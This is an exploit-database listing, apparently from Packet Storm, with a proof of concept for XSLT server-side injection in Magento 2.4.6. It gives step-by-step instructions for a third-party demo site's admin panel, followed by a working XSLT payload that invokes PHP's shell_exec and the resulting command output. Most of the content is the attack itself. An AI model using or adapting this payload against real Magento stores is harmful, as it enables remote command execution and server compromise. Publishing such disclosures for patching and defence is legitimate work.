Magento 2.4.6 XSLT Server Side Injection / Command Execution ≈ Packet Storm

Roger Wilco Exploits 17 novembre 2023 Affichages : 174

Home ^[1] Files ^[2] News ^[3] &[SERVICES_TAB] Contact ^[4] Add New ^[5]

Magento 2.4.6 XSLT Server Side Injection / Command Execution^[6]: Authored by tmrswrr ^[7]; Magento version 2.4.6 suffers from an XSLT server side injection vulnerability that allows for remote command execution.; SHA-256 | f9be4bd2cd3a935d1b1911f4dc66750b1b4e10e9f0e0a5d9921fedffe77d7f52; Download ^[8] | Favorite ^[9] | View ^[10]

        Exploit Title: Magento ver. 2.4.6 - XSLT Server Side Injection
# Date: 2023-11-17
# Exploit Author: tmrswrr
# Vendor Homepage: https://magento2demo.firebearstudio.com/
# Software Link:  https://github.com/magento/magento2/archive/refs/tags/2.4.6-p3.zip
# Version: 2.4.6
# Tested on: 2.4.6
POC:
1 ) Enter with admin creds this url : https://magento2demo.firebearstudio.com/
2 ) Click SYSTEM > Import Jobs > Entity Type Widget > click edit 
3 ) Click XSLT Configuration  and write this payload : 
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','id')" />
</xsl:template>
</xsl:stylesheet>
4 ) Click Test XSL Template , You will be see "id" command result :
<?xml version="1.0"?>
uid=10095(a0563af8) gid=1050(a0563af8) groups=1050(a0563af8)